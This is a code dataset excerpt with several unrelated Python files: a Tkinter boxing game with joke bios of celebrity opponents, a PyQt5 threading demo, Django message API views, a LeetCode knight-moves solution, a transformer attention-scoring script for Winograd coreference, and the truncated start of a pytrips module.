elif opponent == 1:\n opx2-=(movement - defense[opponent])\n elif opponent == 2:\n opx2-=(movement - defense[opponent])\n elif opponent == 3:\n opx2-=(movement - defense[opponent])\n elif opponent == 4:\n opx2-=(movement - defense[opponent])\n \n opponentCanvas.coords(opponentHealthBar, opx1,opy1,opx2,opy2)\n print(opponentHealthBar)\n if opx2<=0:\n winScreen()\n root.after(100, lambda:loseHealth(opponentCanvas,opponentHealthBar))\n\ndef playerLoseHealth(playerCanvas,playerHealthBar):\n global px2, px1, py2, py1, opponent\n if op == 1:\n px2-= 10\n root.after(10000, lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif op ==2:\n px2-=10\n root.after(1000, lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif op == 3:\n px2-=15\n root.after(500, lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif op == 4:\n px2-=20\n root.after(500, lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif opponent == 0:\n px2-=offense[opponent]\n root.after(speed[opponent], lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif opponent == 1:\n px2-=offense[opponent]\n root.after(speed[opponent], lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif opponent == 2:\n px2-=offense[opponent]\n root.after(speed[opponent], lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif opponent == 3:\n px2-=offense[opponent]\n root.after(speed[opponent], lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n elif opponent == 4:\n px2-=offense[opponent]\n root.after(speed[opponent], lambda:playerLoseHealth(playerCanvas,playerHealthBar))\n \n playerCanvas.coords(playerHealthBar, px1,py1,px2,py2)\n print(playerHealthBar)\n if px2<=0:\n loseScreen()\n \n \n#root.attributes('-fullscreen', True)\n#canvas = Canvas(root, width=1920, height=1080)\n#canvas.pack()\n\n#canvas.create_text(300,100, text=\"Pi Fighter\", fill=\"red\",font=\"72\")\n#def gameScreen(event):\n #print(\"hi\")\n\ndef wipeScreen():\n for widget in root.winfo_children():\n widget.destroy()\n\n\ndef opponentScreen(event):\n global images\n wipeScreen()\n Label(root,text=\"Choose Your Opponent\", font = (\"Broadway\",20), bg = 'black', fg='red' ).grid(row=0,column=0,columnspan=5)\n\n paulImage = Image.open('logan.png')\n paulImage = paulImage.resize((300,500))\n paul = ImageTk.PhotoImage(paulImage)\n images.append(paul)\n paulBTN = Label(root,image=paul)\n paulBTN.bind(\"\",paulScreen)\n paulBTN.grid(row=1,column=0)\n Label(root,text=\"Logan Paul\", font = (\"Broadway\",20), bg='black', fg='red').grid(row=2,column=0)\n \n tateImage = Image.open('andrew.png')\n tateImage = tateImage.resize((300,500))\n tate = ImageTk.PhotoImage(tateImage)\n images.append(tate)\n tateBTN = Label(root,image=tate)\n tateBTN.bind(\"\",tateScreen)\n tateBTN.grid(row=1,column=1)\n Label(root,text=\"Andrew Tate\", font = (\"Broadway\",20), bg='black', fg='red').grid(row=2,column=1)\n \n tysonImage = Image.open('mike.png')\n tysonImage = tysonImage.resize((300,500))\n tyson = ImageTk.PhotoImage(tysonImage)\n images.append(tyson)\n tysonBTN = Label(root,image=tyson)\n tysonBTN.bind(\"\",tysonScreen)\n tysonBTN.grid(row=1,column=2)\n Label(root,text=\"Mike Tyson\", font = (\"Broadway\",20), bg='black', fg='red').grid(row=2,column=2)\n \n aliImage = Image.open('ali.png')\n aliImage = aliImage.resize((300,500))\n ali = ImageTk.PhotoImage(aliImage)\n images.append(ali)\n aliBTN = Label(root,image=ali)\n aliBTN.bind(\"\",aliScreen)\n aliBTN.grid(row=1,column=3)\n Label(root,text=\"Muhammad Ali\", font = (\"Broadway\",20), bg='black', fg='red').grid(row=2,column=3)\n \n randImage = Image.open('sillouette.png')\n randImage = randImage.resize((300,500))\n rand = ImageTk.PhotoImage(randImage)\n images.append(rand)\n randBTN = Label(root,image=rand)\n randBTN.bind(\"\",randomFighterScreen)\n randBTN.grid(row=1,column=4)\n Label(root,text=\"Random Opponent\", font = (\"Broadway\",20), bg='black', fg='red').grid(row=2,column=4)\n \n loseImage = Image.open('death.png')\n lose = ImageTk.PhotoImage(loseImage)\n images.append(lose)\n \n winImage = Image.open('win.png')\n win = ImageTk.PhotoImage(winImage)\n images.append(win)\n \n\ndef paulScreen(event):\n global images,x2,op\n op+=1\n wipeScreen()\n opponentCanvas = Canvas(root, height = 50, width = 900)\n opponentCanvas.create_rectangle(0,0,900,50, fill=\"red\")\n opponentHealthBar = opponentCanvas.create_rectangle(0,0,900,50, fill=\"green\")\n opponentCanvas.grid(row=0,column=0,columnspan=2)\n \n \n Label(root,image=images[1]).grid(row=1,column=0, rowspan=3)\n bio = Label(root,text= \"Likes to look at dead bodies in the woods and film it\", bg='black', fg='red')\n bio.grid(row=1,column=1)\n stats = Label(root,text=\"Defense: 0, Offense: 10, Speed: 1 punch/10 sec\", bg='black', fg='red')\n stats.grid(row=2,column=1)\n hint = Label(root,text=\"Logan is very easy to beat, just hit the punching bag and you should beat him\", bg='black', fg='red')\n hint.grid(row=3,column=1)\n \n playerCanvas = Canvas(root, height = 50, width = 900)\n playerCanvas.create_rectangle(0,0,900,50+300, fill=\"red\")\n playerHealthBar = playerCanvas.create_rectangle(0,0,900,50+300, fill=\"green\")\n playerCanvas.grid(row=4, column=0, columnspan=2)\n \n root.after(0, lambda:loseHealth(opponentCanvas, opponentHealthBar))\n root.after(0, lambda:playerLoseHealth(playerCanvas, playerHealthBar))\n \ndef tateScreen(event):\n global images,x2,op\n op+=2\n wipeScreen()\n opponentCanvas = Canvas(root, height = 50, width = 900)\n opponentCanvas.create_rectangle(0,0,900,50, fill=\"red\")\n opponentHealthBar = opponentCanvas.create_rectangle(0,0,900,50, fill=\"green\")\n opponentCanvas.grid(row=0,column=0,columnspan=2)\n\n Label(root,image=images[2]).grid(row=1,column=0, rowspan=3)\n bio = Label(root,text= \"What color is your Bughatti? You would know if you went to Hustlers University V2.\", bg='black', fg='red')\n bio.grid(row=1,column=1)\n stats = Label(root,text=\"Defense: 10, Offense: 20, Speed: 1 punch/5 sec\", bg='black', fg='red')\n stats.grid(row=2,column=1)\n hint = Label(root,text=\"You've gotta have Top G energy to beat Tate\", bg='black', fg='red')\n hint.grid(row=3,column=1)\n Button(root, text=\"Back\", command = opponentScreen).grid(row=4,column=1)\n \n playerCanvas = Canvas(root, height = 50, width = 900)\n playerCanvas.create_rectangle(0,0,900,50+300, fill=\"red\")\n playerHealthBar = playerCanvas.create_rectangle(0,0,900,50+300, fill=\"green\")\n playerCanvas.grid(row=4, column=0, columnspan=2)\n \n root.after(0, lambda:loseHealth(opponentCanvas, opponentHealthBar))\n root.after(0, lambda:playerLoseHealth(playerCanvas, playerHealthBar))\n\ndef tysonScreen(event):\n global images,x2,op\n op+=3\n wipeScreen()\n opponentCanvas = Canvas(root, height = 50, width = 900)\n opponentCanvas.create_rectangle(0,0,900,50, fill=\"red\")\n opponentHealthBar = opponentCanvas.create_rectangle(0,0,900,50, fill=\"green\")\n opponentCanvas.grid(row=0,column=0,columnspan=2)\n \n Label(root,image=images[3]).grid(row=1,column=0, rowspan=3)\n bio = Label(root,text= \"My nameth isth Mike Tyson\", bg='black', fg='red')\n bio.grid(row=1,column=1)\n stats = Label(root,text=\"Defense: 15, Offense: 40, Speed: 1 punch/7 sec\", bg='black', fg='red')\n stats.grid(row=2,column=1)\n hint = Label(root,text=\"Have you tried biting his ear off?\", bg='black', fg='red')\n hint.grid(row=3,column=1)\n Button(root, text=\"Back\", command = opponentScreen).grid(row=4,column=1)\n \n playerCanvas = Canvas(root, height = 50, width = 900)\n playerCanvas.create_rectangle(0,0,900,50+300, fill=\"red\")\n playerHealthBar = playerCanvas.create_rectangle(0,0,900,50+300, fill=\"green\")\n playerCanvas.grid(row=4, column=0, columnspan=2)\n \n root.after(0, lambda:loseHealth(opponentCanvas, opponentHealthBar))\n root.after(0, lambda:playerLoseHealth(playerCanvas, playerHealthBar))\n\ndef aliScreen(event):\n global images,x2,op\n op+=4\n wipeScreen()\n opponentCanvas = Canvas(root, height = 50, width = 900)\n opponentCanvas.create_rectangle(0,0,900,50, fill=\"red\")\n opponentHealthBar = opponentCanvas.create_rectangle(0,0,900,50, fill=\"green\")\n opponentCanvas.grid(row=0,column=0,columnspan=2)\n \n Label(root,image=images[4]).grid(row=1,column=0, rowspan=3)\n bio = Label(root,text= \"Float like a butterfly, sting like a bee. His hands can't hit what his eyes can't see.\", bg='black', fg='red')\n bio.grid(row=1,column=1)\n stats = Label(root,text=\"Defense: 20, Offense: 30, Speed: 1 punch/.5 sec\", bg='black', fg='red')\n stats.grid(row=2,column=1)\n hint = Label(root,text=\"Try giving up\", bg='black', fg='red')\n hint.grid(row=3,column=1)\n Button(root, text=\"Back\", command = opponentScreen).grid(row=4,column=1)\n \n playerCanvas = Canvas(root, height = 50, width = 900)\n playerCanvas.create_rectangle(0,0,900,50+300, fill=\"red\")\n playerHealthBar = playerCanvas.create_rectangle(0,0,900,50+300, fill=\"green\")\n playerCanvas.grid(row=4, column=0, columnspan=2)\n \n root.after(0, lambda:loseHealth(opponentCanvas, opponentHealthBar))\n root.after(0, lambda:playerLoseHealth(playerCanvas, playerHealthBar))\n\ndef randomFighterScreen(event):\n global images,x2, opponent\n wipeScreen()\n opponentCanvas = Canvas(root, height = 50, width = 900)\n opponentCanvas.create_rectangle(0,0,900,50, fill=\"red\")\n opponentHealthBar = opponentCanvas.create_rectangle(0,0,900,50, fill=\"green\")\n opponentCanvas.grid(row=0,column=0,columnspan=2)\n \n randomImage = Image.open(randomImageList[opponent])\n randomImage = randomImage.resize((300,500))\n random = ImageTk.PhotoImage(randomImage)\n randomImages.append(random)\n Label(root,image=randomImages[0]).grid(row=1,column=0,rowspan=3)\n Label(root,text=randOpponentList[opponent]).grid(row=4,column=0,)\n \n bio=Label(root,text=bioList[opponent], bg='black', fg='red')\n bio.grid(row=1,column=1)\n \n stats = Label(root,text=f\"Defense: {defense[opponent]}, Offense: {offense[opponent]}, Speed: {speed[opponent]/1000} sec\", bg='black', fg='red')\n stats.grid(row=2,column=1)\n \n hint = Label(root,text=hintList[opponent], bg='black', fg='red')\n hint.grid(row=3,column=1)\n \n playerCanvas = Canvas(root, height = 50, width = 900)\n playerCanvas.create_rectangle(0,0,900,50+300, fill=\"red\")\n playerHealthBar = playerCanvas.create_rectangle(0,0,900,50+300, fill=\"green\")\n playerCanvas.grid(row=4, column=0, columnspan=2)\n \n root.after(0, lambda:loseHealth(opponentCanvas, opponentHealthBar))\n root.after(0, lambda:playerLoseHealth(playerCanvas, playerHealthBar))\n \ndef startScreen():\n wipeScreen()\n Label(root,text=\"Pi Fighter\").grid(row=0,column=0)\n Label(root,text=\"Pi Fighter\", font=(\"Brooklyn\",100), bg='black', fg='red').grid(row=0,column=0)\n startBTN = Label(root,image=images[0],bg='black')\n startBTN.bind(\"\",opponentScreen)\n startBTN.grid(row=1,column=0)\n\ndef loseScreen():\n wipeScreen()\n loseBTN = Label(root,image= images[6])\n loseBTN.bind(\"\", endGame)\n loseBTN.pack()\n \ndef winScreen():\n wipeScreen()\n winBTN = Label(root, image = images[7])\n winBTN.bind(\"\", endGame)\n winBTN.pack()\n \nstartScreen()\n\nroot.mainloop()\n ","repo_name":"cbatts1228/Portfolio","sub_path":"PythonProjects/BattsPiFighter/piFighterRevJS.py","file_name":"piFighterRevJS.py","file_ext":"py","file_size_in_byte":13471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37327942841","text":"import sys\nimport time\nfrom functools import partial\n\nfrom PyQt5.QtWidgets import QApplication, QPushButton, QVBoxLayout, QWidget\nfrom PyQt5.QtCore import QObject, QThread, pyqtSignal, pyqtSlot\n\n\nclass Worker(QObject):\n def __init__(self):\n super().__init__()\n self.thread = None\n\n\nclass Tab(QObject):\n def __init__(self, _main):\n super().__init__()\n self._main = _main\n\n\nclass WorkerOne(Worker):\n finished = pyqtSignal()\n\n def __init__(self):\n super().__init__()\n\n @pyqtSlot(str)\n def print_name(self, name):\n for _ in range(100):\n print(\"Hello there, {0}! <{1}>\".format(name, int(QThread.currentThreadId())))\n time.sleep(1)\n\n self.finished.emit()\n self.thread.quit()\n\n\nclass SomeTabController(Tab):\n def __init__(self, _main):\n super().__init__(_main)\n self.threads = {}\n main_thread = QThread.currentThread()\n main_thread_id = main_thread.currentThreadId()\n print(\"Main Thread: <{0}>\".format(int(QThread.currentThread().currentThreadId())))\n\n self._main.button_start_thread.clicked.connect(self.start_thread)\n\n # Workers\n self.worker1 = WorkerOne()\n #self.worker2 = WorkerTwo()\n #self.worker3 = WorkerThree()\n #self.worker4 = WorkerFour()\n\n def _threaded_call(self, worker, fn, *args, signals=None, slots=None):\n thread = QThread()\n thread.setObjectName('thread_' + worker.__class__.__name__)\n\n # store because garbage collection\n self.threads[worker] = thread\n\n # give worker thread so it can be quit()\n worker.thread = thread\n\n # objects stay on threads after thread.quit()\n # need to move back to main thread to recycle the same Worker.\n # Error is thrown about Worker having thread (0x0) if you don't do this\n cur = int(QThread.currentThread().currentThreadId())\n print(\"Move BACK to current thread <{0}>\".format(cur))\n worker.moveToThread(QThread.currentThread())\n\n # move to newly created thread\n print(\"Move to new thread <{0}>\".format(int(thread.currentThreadId())))\n worker.moveToThread(thread)\n\n if thread is QThread.currentThread():\n print(\"Yes it is!\")\n\n # Can now apply cross-thread signals/slots\n\n #worker.signals.connect(self.slots)\n if signals:\n for signal, slot in signals.items():\n try:\n signal.disconnect()\n except TypeError: # Signal has no slots to disconnect\n pass\n signal.connect(slot)\n\n #self.signals.connect(worker.slots)\n if slots:\n for slot, signal in slots.items():\n try:\n signal.disconnect()\n except TypeError: # Signal has no slots to disconnect\n pass\n signal.connect(slot)\n\n thread.started.connect(partial(fn, *args)) # fn needs to be slot\n thread.start()\n\n @pyqtSlot()\n def _receive_signal(self):\n print(\"Signal received.\")\n\n @pyqtSlot(bool)\n def start_thread(self):\n name = \"Bob\"\n signals = {self.worker1.finished: self._receive_signal}\n self._threaded_call(self.worker1, self.worker1.print_name, name,\n signals=signals)\n\n\nclass MainWindow(QWidget):\n def __init__(self):\n super().__init__()\n\n self.setWindowTitle(\"Thread Example\")\n form_layout = QVBoxLayout()\n self.setLayout(form_layout)\n self.resize(400, 400)\n\n self.button_start_thread = QPushButton()\n self.button_start_thread.setText(\"Start thread.\")\n form_layout.addWidget(self.button_start_thread)\n\n self.controller = SomeTabController(self)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n _main = MainWindow()\n _main.show()\n\n sys.exit(app.exec_())\n","repo_name":"jlemieux/MusicSuite","sub_path":"testing2.py","file_name":"testing2.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42570860385","text":"from django.shortcuts import render\nfrom django.db.models import Prefetch\n\n# Create your views here\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.generics import DestroyAPIView\n\nfrom django.http.response import JsonResponse\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework import status\n\nfrom .serializers import UserSerializer\nfrom .serializers import MessageSerializer\nfrom .models import User\nfrom .models import Message\nfrom rest_framework.decorators import api_view\n\n@api_view(['GET', 'POST', 'DELETE'])\ndef message_list(request):\n if request.method == 'GET':\n email = request.query_params[\"email\"]\n userId = User.objects.get(email=email).id\n\n messagesRecieved = Message.objects.filter(recipient=email)\n messagesSent = Message.objects.filter(user=userId)\n # users = User.objects.filter(id = Message.objects.filter(recipient=username).user)\n messagesRecievedUser = User.objects.raw('SELECT * FROM myapi_user, myapi_message WHERE myapi_message.recipient = %s AND myapi_user.id = myapi_message.user_id', [email])\n\n serializerMessageRecievedUser = UserSerializer(messagesRecievedUser, many=True)\n serializerMessageSent = MessageSerializer(messagesSent, many=True)\n serializermessagesRecieved = MessageSerializer(messagesRecieved, many=True)\n\n return JsonResponse({'messagesSent':serializerMessageSent.data, 'messagesRecieved': serializermessagesRecieved.data, 'messagesRecievedUser': serializerMessageRecievedUser.data})\n\n elif request.method == 'POST':\n message_data = request.data\n print(message_data)\n # user = request.query_params[\"username\"]\n # username = User.objects.get(id=message_data[\"user\"])\n email = User.objects.get(email = request.query_params[\"email\"])\n # user = int(User.objects.get(user_name=username).id)\n\n new_message = Message.objects.create(user=email, recipient=message_data[\"recipient\"], title=message_data[\"title\"], body=message_data[\"body\"])\n\n new_message.save()\n\n serializer = MessageSerializer(new_message)\n\n return JsonResponse(serializer.data)\n\n elif request.method == 'DELETE':\n message_data = request.data\n # messageId = request.query_params[\"messageId\"]\n message = Message.objects.get(id=message_data[\"id\"])\n message.delete()\n return JsonResponse({'message' :\"Message was deleted\"})\n\nclass UserViewSet(APIView):\n\n serializer_class = UserSerializer\n\n def get_queryset(self):\n users = User.objects.all()\n return users\n\n def get(self, request, *args, **kwargs):\n users = self.get_queryset()\n serializer = UserSerializer(users, many=True)\n\n return Response(serializer.data)\n\n def post(self, request, *args, **kwargs):\n user_data = request.data\n print(user_data)\n\n new_user = User.objects.create(email=user_data[\"email\"])\n\n new_user.save()\n\n serializer = UserSerializer(new_user)\n\n return Response(serializer.data)\n","repo_name":"Sergiojh-design/messageMe","sub_path":"myapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16881457290","text":"# In an infinite chess board with coordinates from -infinity to +infinity, you have a knight at square [0, 0].\n\n# A knight has 8 possible moves it can make, as illustrated below. Each move is two squares in a cardinal direction, then one square in an orthogonal direction.\n\n# Return the minimum number of steps needed to move the knight to the square [x, y]. It is guaranteed the answer exists.\n\n# Example 1:\n\n# Input: x = 2, y = 1\n# Output: 1\n\n# Explanation: [0, 0] → [2, 1]\n# Example 2:\n\n# Input: x = 5, y = 5\n# Output: 4\n\nfrom collections import deque\n\n\ndef minKnightMoves(self, x: int, y: int) -> int:\n directions = [(1, 2), (-1, 2), (2, 1), (2, -1), (-1, -2), (1, -2), (-2, 1), (-2, -1)]\n\n def bfs(x, y):\n visted = set()\n queue = deque([(0, 0)])\n steps = 0\n\n while queue:\n cnt = len(queue)\n\n for i in range(cnt):\n currX, currY = queue.popleft()\n\n if (currX, currY) == (x, y):\n return steps\n \n for dx, dy in directions:\n newX, newY = currX + dx, currY + dy\n \n if (newX, newY) not in visted:\n visted.add((newX, newY))\n queue.append((newX, newY))\n\n steps += 1\n\n return bfs(x, y)\n","repo_name":"uswanderer/leetcode","sub_path":"1197-Minimum-Knight-Move.py","file_name":"1197-Minimum-Knight-Move.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10729343835","text":"import argparse\nimport json\nfrom collections import defaultdict\n\nimport torch\nfrom transformers import BertTokenizer, BertForMaskedLM, XLMRobertaTokenizer, XLMRobertaModel\n\nfrom utils import (clean_sentence, tokenize, locate_reference, list_positions,\n get_nltk_detokenizer,\n format_attention, find_sub_list)\n\nMODEL_CLASSES = {\n 'bert-base-multilingual-uncased': (BertTokenizer, BertForMaskedLM, '[MASK]', '##'),\n 'xlm-roberta-large': (XLMRobertaTokenizer, XLMRobertaModel, '', '▁'),\n}\n\n\ndef MAS(args, model, tokenizer, pronoun, candidate_a, candidate_b, sentence_a, sentence_b=None, layer=None, head=None):\n \"\"\"\n Computes the Maximum Attention Score (MAS) given a sentence, a pronoun and candidates for substitution.\n Parameters\n ----------\n model : transformers.BertModel\n BERT model from BERT visualization that provides access to attention\n tokenizer: transformers.tokenization.BertTokenizer\n BERT tolenizer\n pronoun: string\n pronoun to be replaced by a candidate\n candidate_a: string\n First pronoun replacement candidate\n candidate_b: string\n Second pronoun replacement candidate\n sentence_a: string\n First, or only sentence\n sentence_b: string (optional)\n Optional, second sentence\n layer: None, int\n If none, MAS will be computed over all layers, otherwise a specific layer\n head: None, int\n If none, MAS will be compputer over all attention heads, otherwise only at specific head\n Returns\n -------\n \n activity : list\n List of scores [score for candidate_a, score for candidate_b]\n \"\"\"\n\n inputs = tokenizer.encode_plus(sentence_a, sentence_b, return_tensors='pt', add_special_tokens=True)\n input_ids = inputs['input_ids']\n if args.model != 'xlm-roberta-large':\n token_type_ids = inputs['token_type_ids']\n\n candidate_a_ids = tokenizer.encode(candidate_a)[1:-1]\n candidate_b_ids = tokenizer.encode(candidate_b)[1:-1]\n pronoun_ids = tokenizer.encode(pronoun)[1:-1]\n\n if args.model != 'xlm-roberta-large':\n if next(model.parameters()).is_cuda:\n attention = model(input_ids.cuda(), token_type_ids=token_type_ids.cuda())[-1]\n else:\n attention = model(input_ids, token_type_ids=token_type_ids)[-1]\n else:\n if next(model.parameters()).is_cuda:\n attention = model(input_ids.cuda())[-1]\n else:\n attention = model(input_ids)[-1]\n attn = format_attention(attention)\n\n if next(model.parameters()).is_cuda:\n A = torch.zeros((attn.shape[0], attn.shape[1])).cuda()\n B = torch.zeros((attn.shape[0], attn.shape[1])).cuda()\n else:\n A = torch.zeros((attn.shape[0], attn.shape[1]))\n B = torch.zeros((attn.shape[0], attn.shape[1]))\n\n if not layer is None:\n assert layer < attn.shape[0], \"Maximum layer number \" + str(attn.shape[0]) + \" exceeded\"\n layer_slice = slice(layer, layer + 1, 1)\n else:\n layer_slice = slice(None, None, None)\n\n if not head is None:\n assert head < attn.shape[1], \"Maximum head number \" + str(attn.shape[1]) + \" exceeded\"\n head_slice = slice(head, head + 1, 1)\n else:\n head_slice = slice(None, None, None)\n\n assert len(find_sub_list(pronoun_ids, input_ids[0].tolist())) > 0, \"pronoun not found in sentence\"\n assert len(find_sub_list(candidate_a_ids, input_ids[0].tolist())) > 0, \"candidate_a not found in sentence\"\n assert len(find_sub_list(candidate_b_ids, input_ids[0].tolist())) > 0, \"candidate_b not found in sentence\"\n\n for _, src in enumerate(find_sub_list(pronoun_ids, input_ids[0].tolist())):\n\n for _, tar_a in enumerate(find_sub_list(candidate_a_ids, input_ids[0].tolist())):\n A = A + attn[layer_slice, head_slice, slice(tar_a[0], tar_a[1] + 1, 1), slice(src[0], src[0] + 1, 1)].mean(\n axis=2).mean(axis=2)\n\n for _, tar_b in enumerate(find_sub_list(candidate_b_ids, input_ids[0].tolist())):\n B = B + attn[layer_slice, head_slice, slice(tar_b[0], tar_b[1] + 1, 1), slice(src[0], src[0] + 1, 1)].mean(\n axis=2).mean(axis=2)\n\n score = sum((A >= B).flatten()).item() / (A.shape[0] * A.shape[1])\n return [score, 1.0 - score]\n\n\ndef MAS_patched(args, model, tokenizer, pronoun_pos, candidate_a_pos, candidate_b_pos, sentence_a, sentence_b=None,\n layer=None, head=None, method='sum'):\n \"\"\"\n Computes the Maximum Attention Score (MAS) given a sentence, a pronoun and candidates for substitution.\n Parameters\n ----------\n model : transformers.BertModel\n BERT model from BERT visualization that provides access to attention\n tokenizer: transformers.tokenization.BertTokenizer\n BERT tolenizer\n pronoun: string\n pronoun to be replaced by a candidate\n candidate_a: string\n First pronoun replacement candidate\n candidate_b: string\n Second pronoun replacement candidate\n sentence_a: string\n First, or only sentence\n sentence_b: string (optional)\n Optional, second sentence\n layer: None, int\n If none, MAS will be computed over all layers, otherwise a specific layer\n head: None, int\n If none, MAS will be compputer over all attention heads, otherwise only at specific head\n Returns\n -------\n \n activity : list\n List of scores [score for candidate_a, score for candidate_b]\n \"\"\"\n\n inputs = tokenizer.encode_plus(sentence_a, sentence_b, return_tensors='pt', add_special_tokens=True)\n input_ids = inputs['input_ids']\n if args.model != 'xlm-roberta-large':\n token_type_ids = inputs['token_type_ids']\n\n if args.model != 'xlm-roberta-large':\n if next(model.parameters()).is_cuda:\n attention = model(input_ids.cuda(), token_type_ids=token_type_ids.cuda())[-1]\n else:\n attention = model(input_ids, token_type_ids=token_type_ids)[-1]\n else:\n if next(model.parameters()).is_cuda:\n attention = model(input_ids.cuda())[-1]\n else:\n attention = model(input_ids)[-1]\n attn = format_attention(attention)\n\n if next(model.parameters()).is_cuda:\n A = torch.zeros((attn.shape[0], attn.shape[1])).cuda()\n B = torch.zeros((attn.shape[0], attn.shape[1])).cuda()\n else:\n A = torch.zeros((attn.shape[0], attn.shape[1]))\n B = torch.zeros((attn.shape[0], attn.shape[1]))\n\n if not layer is None:\n assert layer < attn.shape[0], \"Maximum layer number \" + str(attn.shape[0]) + \" exceeded\"\n layer_slice = slice(layer, layer + 1, 1)\n else:\n layer_slice = slice(None, None, None)\n\n if not head is None:\n assert head < attn.shape[1], \"Maximum head number \" + str(attn.shape[1]) + \" exceeded\"\n head_slice = slice(head, head + 1, 1)\n else:\n head_slice = slice(None, None, None)\n\n As = []\n Bs = []\n for src in pronoun_pos:\n for tar_a in candidate_a_pos:\n As.append(attn[layer_slice, head_slice, tar_a, src])\n for tar_b in candidate_b_pos:\n Bs.append(attn[layer_slice, head_slice, tar_b, src])\n\n As = torch.stack(As)\n Bs = torch.stack(Bs)\n if method == 'mean':\n A = As.mean(axis=0)\n B = Bs.mean(axis=0)\n elif method == 'max':\n A, _ = torch.max(As, dim=0)\n B, _ = torch.max(Bs, dim=0)\n else:\n A = As.sum(axis=0)\n B = Bs.sum(axis=0)\n score = sum((A >= B).flatten()).item() / (A.shape[0] * A.shape[1])\n return [score, 1.0 - score]\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--model\", default='xlm-roberta-large',\n help=\"Modelname selected in the list: \" + \", \".join(list(MODEL_CLASSES.keys())))\n parser.add_argument(\"--input_file\", default='dataset.v4.tsv', type=str, # required=True,\n help=\"The input .tsv file.\")\n parser.add_argument(\"--no_cuda\", action='store_true',\n help=\"Avoid using CUDA when available\")\n args = parser.parse_args()\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() and not args.no_cuda else \"cpu\")\n args.device = device\n\n assert args.model in MODEL_CLASSES, 'Unknown model!'\n\n tokenizer_class, model_class, mask_token, token_prefix = MODEL_CLASSES.get(args.model)\n\n args.mask_token = mask_token\n args.token_prefix = token_prefix\n\n tokenizer = tokenizer_class.from_pretrained(args.model, do_lower_case=True)\n model = model_class.from_pretrained(args.model, output_attentions=True)\n model.to(args.device)\n\n stats = defaultdict(lambda: defaultdict(int))\n stats_patched = defaultdict(lambda: defaultdict(int))\n\n with open(args.input_file, encoding='utf-8') as ifh:\n for line in ifh:\n chunks = line.strip().split('\\t')\n\n lang = chunks[0]\n ref = json.loads(chunks[5])\n answers = json.loads(chunks[6])\n sentence_orig = chunks[3]\n sentence = clean_sentence(chunks[3])\n\n sent_input_ids, sent_tokens = tokenize(tokenizer, sentence)\n\n nltk_sent_tokens = json.loads(chunks[4])\n nltk_detokenizer = get_nltk_detokenizer(nltk_sent_tokens, sentence, chunks[0])\n\n # deal with reference tokens location, despite artefacts of given tokenizer\n ref_tokens, ref_locations = locate_reference(args, tokenizer, ref[0], sent_tokens, sentence)\n if not ref_locations:\n ref_tokens, ref_locations = locate_reference(args, tokenizer, ref[0], sent_tokens, sentence,\n method='patch')\n if not ref_locations:\n ref_tokens, ref_locations = locate_reference(args, tokenizer, ref[0], sent_tokens, sentence,\n method='approx')\n assert len(ref_locations), 'The reference not found in the sent_tokens.'\n\n decoys = []\n right_answer = None\n for answer in answers:\n if answer[-1]:\n right_answer = answer\n else:\n decoys.append(answer)\n assert right_answer is not None, 'Right answer not found.'\n\n right_answer_positions = list_positions(args, tokenizer, sent_tokens, right_answer[0])\n\n for decoy in decoys:\n try:\n sc = MAS(args, model, tokenizer, pronoun=ref[0], candidate_a=right_answer[0], candidate_b=decoy[0],\n sentence_a=sentence_orig)\n if sc[0] > sc[1]:\n stats[lang][1] += 1\n stats['all'][1] += 1\n stats[lang]['__total__'] += 1\n stats['all']['__total__'] += 1\n except:\n stats[lang]['__skipped__'] += 1\n stats['all']['__skipped__'] += 1\n pass\n\n try:\n decoy_answer_positions = list_positions(args, tokenizer, sent_tokens, decoy[0])\n sc = MAS_patched(args, model, tokenizer, pronoun_pos=ref_locations,\n candidate_a_pos=right_answer_positions, candidate_b_pos=decoy_answer_positions,\n sentence_a=sentence, method='max')\n if sc[0] > sc[1]:\n stats_patched[lang][1] += 1\n stats_patched['all'][1] += 1\n stats_patched[lang]['__total__'] += 1\n stats_patched['all']['__total__'] += 1\n except:\n stats_patched[lang]['__skipped__'] += 1\n stats_patched['all']['__skipped__'] += 1\n print(chunks[:5])\n pass\n\n for k in sorted(stats):\n print(\n f\"{args.input_file}\\t{args.model}\\t{k}\\tMAS\\t{stats[k][1] / max(1, stats[k]['__total__'])}\"\n f\"\\t{stats[k]['__total__']}\\t{stats[k]['__skipped__']}\")\n\n stats = stats_patched\n for k in sorted(stats):\n print(\n f\"{args.input_file}\\t{args.model}\\t{k}\\tMAS_patched\\t{stats[k][1] / max(1, stats[k]['__total__'])}\\t\"\n f\"{stats[k]['__total__']}\\t{stats[k]['__skipped__']}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yandex-research/crosslingual_winograd","sub_path":"calculate_MAS_score_patched.py","file_name":"calculate_MAS_score_patched.py","file_ext":"py","file_size_in_byte":12386,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"28199274520","text":"import logging\nlogger = logging.getLogger(\"pytrips\")\n\nimport jsontrips\nfrom collections import defaultdict as ddict\nimport json\nimport sys\n\nfrom .structures import TripsRestriction, TripsType, TripsSem\nfrom .helpers import wn, get_wn_key, ss_to_sk, all_hypernyms\nfrom nltk.corpus.reader.wordnet import Synset\nimport string as _string\nfrom .nodegraph import NodeGraph\n\nimport re\n\n_gls_re = 